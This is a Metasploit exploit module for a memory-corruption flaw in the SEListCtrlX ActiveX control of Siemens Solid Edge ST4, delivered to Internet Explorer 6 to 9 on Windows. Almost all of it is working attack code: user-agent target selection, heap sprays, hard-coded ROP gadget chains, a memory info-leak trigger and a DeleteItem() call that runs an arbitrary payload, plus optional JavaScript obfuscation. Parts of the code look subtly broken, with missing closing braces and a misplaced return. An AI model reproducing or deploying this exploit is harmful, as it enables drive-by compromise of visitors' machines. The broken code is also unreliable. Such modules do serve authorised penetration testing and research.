SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "9.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:rank => Rank,

:classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}"

})

def initialize(info={})

super(update_info(info,

'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution",

'Description' => %q{

This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product.

The vulnerability exists on several APIs provided by the control, where user supplied input

is handled as a memory pointer without proper validation, allowing an attacker to read and

corrupt memory from the target process. This module abuses the methods NumChildren() and

DeleteItem() in order to achieve memory info leak and remote code execution respectively.

This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1,

using Solid Edge 10.4.

},

'License' => MSF_LICENSE,

'Author' =>

[

'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC

'juan vazquez' # Metasploit module

],

'References' =>

[

[ 'OSVDB', '93696' ],

[ 'EDB', '25712' ],

[ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ]

],

'Payload' =>

{

'Space' => 906,

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

},

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

},

'Platform' => 'win',

'Targets' =>

[

# Jutil.dll 104.0.0.82

# SEListCtrlX 104.0.0.82

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],

[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],

[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],

[ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],

[ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],

[ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ]

],

'Privileged' => false,

'DisclosureDate' => "May 26 2013",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def junk

return rand_text_alpha(4).unpack("V").first

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

# JUtil ROP Chain

# Jutil Base: 0x1d550000

# Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret

# Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret

# 0x1db2e121, # POP EDX # RETN [JUtil.dll]

# 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll]

# 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll]

# 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll]

# 0x1d70e314, # POP EBP # RETN [JUtil.dll]

# 0x1d5fc8e8, # & jmp esp [JUtil.dll]

# 0x1d631859, # POP EBX # RETN [JUtil.dll]

# 0x00000201, # 0x00000201-> ebx

# 0x1d769cf9, # POP EDX # RETN [JUtil.dll]

# 0x00000040, # 0x00000040-> edx

# 0x1d6d2e50, # POP ECX # RETN [JUtil.dll]

# 0x1da45217, # &Writable location [JUtil.dll]

# 0x1d632fd1, # POP EDI # RETN [JUtil.dll]

# 0x1d6839db, # RETN (ROP NOP) [JUtil.dll]

# 0x1d752439, # POP EAX # RETN [JUtil.dll]

# 0x90909090, # nop

# 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll]

def ie9_spray(t, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))

js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))

js = %Q|

function rop_chain(jutil_base){

var arr = [

Number(Math.floor(Math.random()*0xffffffff)),

Number(0x0c0c0c0c),

Number(0x0c0c0c1c),

Number(0x0c0c0c24),

Number(0x0c0c0c28),

Number(Math.floor(Math.random()*0xffffffff)),

Number(0x0c0c0c0c),

Number(0x0c0c0c3c),

jutil_base + Number(0x00212f17),

jutil_base + Number(0x000a5843),

Number(0x0c0c0c34),

jutil_base + Number(0x5de121),

jutil_base + Number(0x20ca),

jutil_base + Number(0x4bebeb),

jutil_base + Number(0x4c03d2),

jutil_base + Number(0x1be314),

jutil_base + Number(0xac8e8),

jutil_base + Number(0xe1859),

Number(0x00000201),

jutil_base + Number(0x219cf9),

Number(0x00000040),

jutil_base + Number(0x182e50),

jutil_base + Number(0x4f5217),

jutil_base + Number(0xe2fd1),

jutil_base + Number(0x1339db),

jutil_base + Number(0x202439),

Number(0x90909090),

jutil_base + Number(0x4fcfe3)

];

return arr;

}

function d2u(dword){

var uni = String.fromCharCode(dword & 0xFFFF);

uni += String.fromCharCode(dword>>16);

return uni;

}

function tab2uni(tab){

var uni = ""

for(var i=0;i<tab.length;i++){

uni += d2u(tab[i]);

}

return uni;

}

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_random_nops}");

function heap_spray(jutil_base) {

while (nops.length < 0x80000) nops += nops;

var offset_length = #{t['Offset']};

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length);

var rop = tab2uni(rop_chain(jutil_base));

var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

|

return js

end

def ie8_spray(t, p)

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

function rop_chain(jutil_base){

var arr = [

Number(Math.floor(Math.random()*0xffffffff)),

Number(0x0c0c0c0c),

Number(0x0c0c0c1c),

Number(0x0c0c0c24),

Number(0x0c0c0c28),

Number(Math.floor(Math.random()*0xffffffff)),

Number(0x0c0c0c0c),

Number(0x0c0c0c3c),

jutil_base + Number(0x00212f17),

jutil_base + Number(0x000a5843),

Number(0x0c0c0c34),

jutil_base + Number(0x5de121),

jutil_base + Number(0x20ca),

jutil_base + Number(0x4bebeb),

jutil_base + Number(0x4c03d2),

jutil_base + Number(0x1be314),

jutil_base + Number(0xac8e8),

jutil_base + Number(0xe1859),

Number(0x00000201),

jutil_base + Number(0x219cf9),

Number(0x00000040),

jutil_base + Number(0x182e50),

jutil_base + Number(0x4f5217),

jutil_base + Number(0xe2fd1),

jutil_base + Number(0x1339db),

jutil_base + Number(0x202439),

Number(0x90909090),

jutil_base + Number(0x4fcfe3)

];

return arr;

}

function d2u(dword){

var uni = String.fromCharCode(dword & 0xFFFF);

uni += String.fromCharCode(dword>>16);

return uni;

}

function tab2uni(tab){

var uni = ""

for(var i=0;i<tab.length;i++){

uni += d2u(tab[i]);

}

return uni;

}

function heap_spray(jutil_base) {

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var rop = tab2uni(rop_chain(jutil_base));

var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

|

return js

end

def ie6_spray(t, p)

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var nops = unescape("#{js_nops}");

var code = unescape("#{js_code}");

function heap_spray() {

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

|

return js

end

def ie_heap_spray(my_target, p)

# Land the payload at 0x0c0c0c0c

case my_target

when targets[7]

# IE 9 on Windows 7

js = ie9_spray(my_target, p)

when targets[5], targets[6]

# IE 8 on Windows 7 and Windows Vista

js = ie8_spray(my_target, p)

else

js = ie6_spray(my_target, p)

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

@heap_spray_fn = js.sym("heap_spray")

else

@heap_spray_fn = "heap_spray"

end

return js

end

def get_windows_xp_payload

fake_memory = [

junk, # junk # 0c0c0c0c

0x0c0c0c0c, # Dereference # 0c0c0c10

0x0c0c0c0c, # Dereference # 0c0c0c14

0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18

0x0c0c0c24, # Dereference # 0c0c0c1c

0x0c0c0c28, # Dereference # 0c0c0c20

junk, # junk # 0c0c0c24

junk, # junk # 0c0c0c28

0x0c0c0c0c, # Dereference # 0c0c0c2c

0x0c0c0c30, # Dereference # 0c0c0c30

0x0c0c0c38, # new eip # 0c0c0c34

].pack("V*")

p = fake_memory + payload.encoded

return p

end

def get_windows_msvcrt_payload

fake_memory = [

junk, # junk # 0c0c0c0c

0x0c0c0c0c, # Dereference # 0c0c0c10

0x0c0c0c0c, # Dereference # 0c0c0c14

0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18

0x0c0c0c24, # Dereference # 0c0c0c1c

0x0c0c0c28, # Dereference # 0c0c0c20

junk, # junk # 0c0c0c24

junk, # junk # 0c0c0c28

0x0c0c0c0c, # Dereference # 0c0c0c2c

0x0c0c0c3c, # Dereference # 0c0c0c30

0x77c21ef4, # ppr msvcrt # 0c0c0c34

0x77c15ed5, # xchg eax,esp # ret (msvcrt)

0x0c0c0c34 # eax value # 0c0c0c3c

].pack("V*")

return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'})

end

def get_payload(t)

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

p = get_windows_msvcrt_payload

when :jutil

print_status("Using JUtil ROP built dynamically...")

p = payload.encoded

else

print_status("Using payload without ROP...")

p = get_windows_xp_payload

end

return p

end

def info_leak_trigger

js = <<-EOS

<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />

</object>

<script language='javascript'>

jutil_address = obj.NumChildren(0x10017018 - 0x0c);

jutil_base = jutil_address - 0x49440;

#{@heap_spray_fn}(jutil_base);

obj.DeleteItem(0x0c0c0c08);

</script>

EOS

return js

end

def exec_trigger

js = <<-EOS

<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />

</object>

<script language='javascript'>

#{@heap_spray_fn}();

obj.DeleteItem(0x0c0c0c08);

</script>

EOS

return js

end

def get_trigger(t)

case t['Rop']

when :jutil

js = info_leak_trigger

else

js = exec_trigger

end

return js

end

def load_exploit_html(my_target)

p = get_payload(my_target)

js = ie_heap_spray(my_target, p)

trigger = get_trigger(my_target)

html = %Q|

<html>

<head>

<script language='javascript'>

#{js}

</script>

</head>

<body>

#{trigger}

</body>

</html>

|

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = load_exploit_html(my_target)

html = html.gsub(/^\t\t/, '')

print_status("Sending HTML...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end